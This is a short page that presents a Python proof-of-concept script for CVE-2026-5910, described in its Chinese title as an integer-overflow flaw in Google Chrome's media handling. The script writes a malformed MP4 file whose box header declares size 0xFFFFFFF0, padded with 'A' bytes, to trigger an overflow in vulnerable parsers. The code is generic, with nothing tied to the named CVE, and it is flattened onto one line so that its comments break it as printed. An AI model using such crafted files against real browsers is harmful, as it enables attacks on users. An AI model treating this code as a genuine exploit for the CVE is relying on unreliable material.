CVE-2026-5910 Google Chrome媒体整数溢出漏洞

import struct # This Python script generates a malformed media file structure # intended to trigger an integer overflow in a vulnerable media parser. # Note: This is a conceptual PoC for demonstration purposes only. def generate_malformed_file(filename): with open(filename, 'wb') as f: # Simulate a media container box (e.g., MP4/WEBM structure) # We set a specific size value that might trigger an overflow # if the parser calculates (offset + size) without checking bounds. # Box header: Size (4 bytes) + Type (4 bytes) # Using a large size value that could cause integer overflow # in allocation logic (e.g., size = 0xFFFFFFF0) large_size = struct.pack('>I', 0xFFFFFFF0) box_type = b'vide' # Example box type f.write(large_size + box_type) # Write some payload data f.write(b'A' * 100) print(f"[+] Malformed file generated: {filename}") print("[+] This file is intended for testing against vulnerable parsers.") if __name__ == "__main__": generate_malformed_file("cve_2026_5910_poc.mp4")